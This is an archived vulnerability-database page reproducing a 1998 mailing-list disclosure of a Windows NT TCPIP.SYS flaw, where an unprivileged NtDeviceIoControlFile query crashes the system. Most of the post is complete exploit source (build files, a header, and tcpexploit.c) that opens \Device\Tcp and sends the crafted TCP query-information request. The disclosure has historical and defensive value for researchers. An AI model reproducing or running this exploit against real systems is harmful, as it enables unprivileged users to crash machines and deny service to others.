Lucene search

K

nt-tcpip-dos.txt

🗓️ 17 Aug 1999 00:00:00Reported by Packet StormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

Exploit crashing NT systems via undocumented TCPIP.SYS function without special rights required.

Show more

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Code
`Date: Fri, 25 Sep 1998 18:19:50 +0200  
From: Gigi Mori <[email protected]>  
Subject: Crashing NT with Native Calls  
  
Hi,  
Playing with TCPIP.SYS I've noticed that any user could crash the local system with a IRQL_NOT_LESS_OR_EQUAL exception just calling the undocumented function NtDeviceIoControlFile with an handle to TCPIP and the "right" parameters.  
NtDeviceIoControlFile is the native correspondent of DeviceIoControl and is called by InetMib1.dll and WINSOCK Helper Dlls to retrieve TCPIP statistics thus no special rights are needed to run the exploit.  
The bug resides in TCPIP.SYS InternalIoControl dispatch routine where lacks a check on current IRQ level before processing the query information request.  
  
This is the exploit (you should compile it with DDK):  
  
--------------- begin SOURCES ---------------------------  
  
TARGETNAME= tcpinfo  
TARGETPATH= .  
TARGETTYPE= PROGRAM  
  
INCLUDES= .; ..\; \DDK\inc;\DDK\src\network\inc  
  
SOURCES= tcpinfo.c  
  
UMTYPE= console  
UMBASE= 0x400000  
UMLIBS= \DDK\lib\i386\checked\ntdll.lib  
--------------- end SOURCES -----------------------------  
--------------- begin makefile --------------------------  
#  
# DO NOT EDIT THIS FILE!!! Edit .\sources. if you want to add a new source  
# file to this component. This file merely indirects to the real make file  
# that is shared by all the driver components of the Windows NT DDK  
#  
  
!INCLUDE $(NTMAKEENV)\makefile.def  
--------------- end makefile ----------------------------  
--------------- begin native.h --------------------------  
#ifndef gigi_native_h  
#define gigi_native_h  
  
typedef struct {  
unsigned int bo;  
unsigned int result;  
HANDLE hevent;  
} nt_overlapped;  
  
#define IOCTL_TCP_QUERY_INFORMATION 0x120003  
#endif /* gigi_native_h */  
-------------- end native.h ----------------------------  
-------------- begin tcpexploit.c ------------------------  
#include <ntddk.h>  
#include <stdio.h>  
#include <tdiinfo.h>  
#include "native.h"  
  
#define MAX_NAME_LEN 256  
  
struct {  
HANDLE h_tcp;  
char buff[0x400];  
} g;  
  
  
unsigned int  
open_tcp()  
{  
OBJECT_ATTRIBUTES object_attrs;  
UNICODE_STRING device_tcp;  
WCHAR device_tcp_buff[MAX_NAME_LEN];  
IO_STATUS_BLOCK io_status_block;  
NTSTATUS status;  
  
device_tcp.Buffer = &device_tcp_buff;  
RtlInitUnicodeString(&device_tcp, L"\\Device\\Tcp");  
  
InitializeObjectAttributes(&object_attrs, &device_tcp,  
OBJ_CASE_INSENSITIVE, NULL, NULL);  
  
status = ZwCreateFile(&g.h_tcp, 0x20000000, &object_attrs,  
&io_status_block, 0,  
FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ|FILE_SHARE_WRITE,  
FILE_OPEN_IF,  
0, NULL, 0);  
if(status != STATUS_SUCCESS) {  
printf("ZwCreateFile error %#x %#x\n", status, io_status_block);  
  
return 0;  
}  
  
return 1;  
}  
  
void  
close_tcp()  
{  
ZwClose(g.h_tcp);  
}  
  
unsigned int  
tcp_query_information(void *in_buff, unsigned int in_buff_len,  
  
void *out_buff, unsigned int out_buff_len)  
{  
NTSTATUS status;  
nt_overlapped prova;  
unsigned int i, *p;  
  
status = NtCreateEvent(&prova.hevent, 0x1F003, 0, 1, NULL);  
if(status != STATUS_SUCCESS) {  
printf("NtCreateEvent error 0x#x\n", status);  
  
return 0;  
}  
  
status = NtDeviceIoControlFile(g.h_tcp, prova.hevent, 0, 0,  
  
&prova,  
IOCTL_TCP_QUERY_INFORMA  
TION,  
  
in_buff,  
in_buff_len,  
  
out_buff,  
out_buff_len);  
  
ZwClose(prova.hevent);  
  
printf("%#X\n", status);  
  
return 1;  
}  
  
void __cdecl  
main()  
{  
struct tcp_request_query_information_ex in_buff;  
  
if(!open_tcp()) {  
return;  
}  
  
in_buff.ID.toi_entity.tei_entity = CO_TL_ENTITY;  
in_buff.ID.toi_entity.tei_instance = 0;  
in_buff.ID.toi_class = INFO_CLASS_PROTOCOL;  
in_buff.ID.toi_type = INFO_TYPE_CONNECTION;  
in_buff.ID.toi_id = 0x5;  
  
if(!tcp_query_information(&in_buff, 0x24, g.buff, sizeof(g.buff))) {  
return;  
}  
  
close_tcp();  
}  
----------------- end tcpexploit.c ---------------------------------  
  
Luigi Mori --  
Symbolic (http://www.symbolic.it)  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
17 Aug 1999 00:00Current
7.4High risk
Vulners AI Score7.4
23
.json
Report